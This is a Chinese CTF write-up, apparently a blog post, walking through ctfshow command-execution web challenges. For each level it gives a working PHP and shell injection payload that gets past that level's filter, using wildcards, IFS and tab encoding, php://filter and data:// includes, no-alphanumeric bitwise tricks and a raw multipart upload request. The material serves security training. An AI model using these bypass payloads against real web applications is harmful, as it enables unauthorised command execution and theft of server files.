ctfshow命令执行wp

ctfshow命令执行

web29

image-20221130095051862

可以看到过滤了flag,可以使用通配符绕过

?c=system('tail fla*.php');

image-20221130095934479

web30

image-20221130100918559

比web29多过滤了system和php,这边可以使用nl命令通过占位符绕过,或者禁用了system,还有其它的命令执行函数,如exec()、passthru()、shell_exec()等

?c=echo `nl fla?.???`;
?c=passthru('cat fla*');

web31

image-20221130103911543

比web30又多过滤了cat、sort、shell、.、空格、引号,根据上一题的解题思路来

?c=echo `nl fla?.???`;

发现只需要想办法替换掉空格和.号就可以,空格用tab键的url编码来替换吧,然后.号再用一个?代替payload就为

?c=echo%09`nl%09fla?????`;

image-20221130104227050

除此之外绕cat还可以使用

tac more less head tac tail nl od(二进制查看) vi vim sort uniq

绕过空格还可以使用

%09 <> ${IFS} $IFS$9 {cat,fl*} %20

web32

image-20221130104722573

可以看到又增加了`,echo,;,<等过滤,上一道题的思路就行不通了,参考下别人的解题思路就是php中存在一个独有的一个协议php://filter,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter(过滤器),可以很容易想到这个协议可以用来过滤一些东西。通过查找,这个函数可以使用多个参数达到不同的目的

名称	                    描述	                   备注
resource=<要过滤的数据流>	指定了你要筛选过滤的数据流。	必选
read=<读链的筛选列表>	可以设定一个或多个过滤器名称,以管道符()分隔。	可选
write=<写链的筛选列表>	可以设定一个或多个过滤器名称,以管道符()分隔。	可选
<;两个链的筛选列表>	任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。	

同时readwrite还可以对代码进行加密和解密操作
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

先使用include或者require再次包含一个GET请求,再使用?>绕过;号闭合,然后传入一个变量读取flag.php

image-20221130111136989

再进行base64解码即可得到flag

web33

image-20221130111509852

又增加了"等过滤,

?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

那也只需要将原来的数字再替换成字符即可

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

image-20221130111758649

web34

image-20221130111940095

又增加过滤了:号,但是我们上一题的payload中没有c参数中没有使用:号,所以还可以继续使用

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

image-20221130112108781

web35

image-20221130112423602

增加了>括号和=号过滤,不过我们上一题的payload中的c参数中依然没有使用>、\号,所以还可以继续使用

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

image-20221130112546312

web36

image-20221130112947285

多过滤了数字,but,我们上一题的payload中的c参数还是没有数字,所以还可以使用上一题的payload

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

image-20221130113222787

web37

image-20221130131837714

考察文件包含-伪协议-命令执行

?c=data://text/plain,<?php system("tac f*");

web38

image-20221130132135704

还是和上面一样,不过又多过滤了php、file,尝试短标签

?c=data://text/plain,<?=system('cp fla\ 1.txt');?>
?c=data://text/plain,<?=system("tac%20f*");?>

尝试base64编码

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

image-20221130132633808

web39

image-20221201153427891

就是强制加上了.php,尝试上一题的payload发现依然可以

?c=data://text/plain,<?php%20system(%27tac%20fla*%27)?>

image-20221201153812733

web40

image-20221201153828740

看不懂了,感觉过滤了好多,直接研究payload

1show_source(next(array_reverse(scandir(current(localeconv())))));
localeconv() 函数返回一包含本地数字及货币格式信息的数组。第一个为.

image-20221201155929135

current()获取第一个元素值,获取到.

image-20221201160136428

scandir()  列出.目录中的文件和目录

image-20221201160210797

到这里就可以使用

?c=print_r(scandir(current(localeconv())));获取目录内容

image-20221201160447416

发现flag文件后使用array_reverse()函数,翻转数组,再使用next定位到flag.php,最后使用show_source显示出来

image-20221201160715195

web41

image-20221201160900437

不仅过滤了数字,连字母都给全过滤了,这还怎么命令执行啊,上网看wp,原来还可以异或,可以看这篇文章学习一下

(50条消息) PHP异或_1stPeak的博客-CSDN博客_php 异或

直接脚本梭哈

(50条消息) ctfshow web入门 web41_yu22x的博客-CSDN博客

可以看下面这篇文章学习脚本原理

(50条消息) CTFshow wbe41 教你写脚本_白帽Chen_D的博客-CSDN博客

web42

image-20221201165811203

system命令执行,直接tac flag.php;截断梭哈

image-20221201165946649

web43

image-20221201170133233

过滤了cat和;,开玩笑这能拦得住我,直接tac和换行url编码绕过%0a

?c=tac%20flag.php%0a
还有些其它绕过
||、、&&

image-20221201170443956

web44

image-20221201171147157

又过滤了flag,直接通配符梭哈*,?

?c=tac%20fla*||

image-20221201171255107

web45

image-20221201170632327

小样,又多过滤了空格,so easy,直接tab键url编码%09和通配符绕过

?c=tac%09fla*||
空格还可以用%09、%20、%3c、${IFS}、$IFS$9等绕过

web46

image-20221201171616293

多过滤了数字,$、*号符号,过滤了数字那么我们的${IFS}、$IFS$9就没法用了,

?c=tac%09fla?.php||

继续使用上一关的,一开始觉得不是过滤了数字吗,但是这个%09会经过浏览器解码,变成tab,绕过了程序那个的判断

image-20221201173101093

web47

image-20221201174533092

发现正好上一关的tac没有被过滤掉,继续用,还有些漏网之鱼nl,tac,od,vi vim uniq

tac<fla''g.php||
nl<fla''g.php||
od<fla''g.php||

image-20221201174800353

web48

image-20221201175324681

和上一关一样,还是有漏网之鱼,nl可以用,梭哈

c=nl<fla%27%27g.php||

image-20221201175521013

web49

image-20221202152816543

发现nl还可以继续使用,继续梭哈

c=nl<fla%27%27g.php||   或者tac也没有过滤

image-20221202152841979

web50

image-20221202153541509

还是可以继续梭哈nl

c=nl<fla%27%27g.php||   或者tac也没有过滤

web51

image-20221202153831759

还是可以继续使用nl读取

c=nl<fla%27%27g.php|| 

image-20221202153953540

web52

image-20221202154443042

过滤了<>符号,不过发现${IFS}又可以使用了,直接上payload

?c=nl${IFS}fla%27%27g.php||

image-20221202154659743

发现有套路,ls看一下,发现没有其它文件了

image-20221202155035562

再去看下根目录

image-20221202155241721

直接payload拿下

?c=nl${IFS}/fla""g||

image-20221202155208415

web53

image-20221202161314841

image-20221202161414337

payload:?c=n%27%27l${IFS}fla?.php

image-20221202161236336

web54

image-20221202162343197

上了通配符过滤,想不出来思路了,看下答案,发现是用mv将flag.php移动到1.txt

上payload

?c=mv${IFS}fla?.php${IFS}a.txt

image-20221202162631584

web55

image-20221202163341232

这一题看过滤了字母,应该上面eval做过,就知道了应该考察的是无字母数字执行命令,不过奈何太菜了,学习下别人的思路吧

(50条消息) 无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客

(50条消息) CTFshow-命令执行_YAy17的博客-CSDN博客_ctfshow命令执行

无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

不得不说师傅们tql

image-20221203193043700

POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 2e76edc8-a726-41af-8d53-76084ea9746c.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17356608461664399600975061811
Content-Length: 369
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------17356608461664399600975061811
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

#!/bin/sh
cat flag.php
-----------------------------17356608461664399600975061811
Content-Disposition: form-data; name="submit"

提交
-----------------------------17356608461664399600975061811--

web56

image-20221203193256773

不仅过滤了字母还有数字,不过依然可以用上一题的思路来做

image-20221203193358237

web57

image-20221203194727283

过滤了.,[,那么上一题的思路就没法用了,看一种新姿势

(())是用来进行整数运算的命令,内部可以加上表达式,默认是相加的。36可以通过外层为$(())包裹内层,可以运算出36的表达式构造。36可以由-37取反得到。那么就是先得到-37。也就是37个$((~$(())))便可以得到-37。之后便可以将他们整体在进行一次取反,便可以得到36.

原文链接:https://blog.csdn.net/weixin_44770698/article/details/125460386

在这里演示下-3如何变成2的,首先-3就可以表示为-1-1-1,就是三个$((~$(())))放在一起

image-20221203200658517

然后再用一层$(())包裹起来,就代表运算的意思echo $(($(($(())))$(($(())))$((~$(())))))

image-20221203200824519

再取反一下,取反的公司如下image-20221203200856281

$(($(($(())))$(($(())))$(($(())))))就是这样子,然后还要再包裹一层$(())运算出来,最后就是这个样子了,

echo $(($(($(($(())))$(($(())))$(($(()))))))),同理即可得到36

image-20221203201026618

payload:c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20221203201131204

web58

image-20221203201508736

发现system、exec()、passthru()、shell_exec()全给过滤了,

image-20221203201619473

尝试直接读取,show_source('flag.php');,可以使用成功读取

image-20221203201656247

web59

image-20221203215123505

和上一关一样直接show_source就出来了

image-20221203215437115

web60

也是一样的,直接show_source吧

image-20221203215657671

web61-65都是上面的思路,直接梭哈就完了

web66

image-20221203220121645

上之前的show_source('flag.php');发现这下被禁用了

image-20221203220223152

尝试highlight_file,发现不在那了,于是print_r(scandir(''/''));查找,发现了flag.txt

image-20221203220424827

然后再用highlight_file('/flag.txt');读就可以了

image-20221203220512017

web67

继续使用上一关的试下,发现不行了

将print_r替换成var_dump试试,发现可以

image-20221203221005727

然后就直接用highlight_file('/flag.txt');就出来了

image-20221203221045111

web68

image-20221205131339912

打开就说highlight_file()给禁用了,然后什么也没给,现在做题有思路了,我们可以扫下目录看flag在哪,

image-20221205131742886

但可惜print_r被禁用了,可以换成var_dump,看到flag.php了,然后直接去读他

image-20221205131904389

可惜show_source也被禁用了

image-20221205132033855

再看下其它替代的require、include、require_once、include_once,做到这边发现不对了,看大佬的文章是在根目录下有flag.txt,那就直接包含了,但是很奇怪,如过flag就在flag.php里呢,该怎么去读他?

image-20221205132735684

web69

尝试了下print_r,var_dump发现都被禁用了,不过还可以使用var_export,然后思路就是一样的了

image-20221205133240657

web70

image-20221205134056941

var_export()还可以继续使用,然后思路就是一样的了,直接include('flag.txt');梭哈

image-20221205134854636

web71

image-20221205140554805

image-20221205140624810

有源代码提示,后面加了些花里胡哨的东西,看不懂不过也得了解一下,直接截断结束die();或者exit();一下,就可以出来了

ob_get_contents():返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回FALSEob_end_clean():清空(擦除)缓冲区并关闭输出缓冲,此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

image-20221205140534037

web118

已经看不懂了,f12看是给出了system提示,

image-20221205143518283

查看源代码,发现:<!-- system($code);-->

经过测试,过滤了字母数字|^,没有过滤空格和环境变量。

看了hint发现,环境变量PATH是/bin,路径PWD是/var/www/html。

${PATH:~A}${PWD:~A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。

payload:

${PATH:~A}${PWD:~A}$IFS????.???
相当于:nl flag.php
posted @   bnlbnf  阅读(419)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示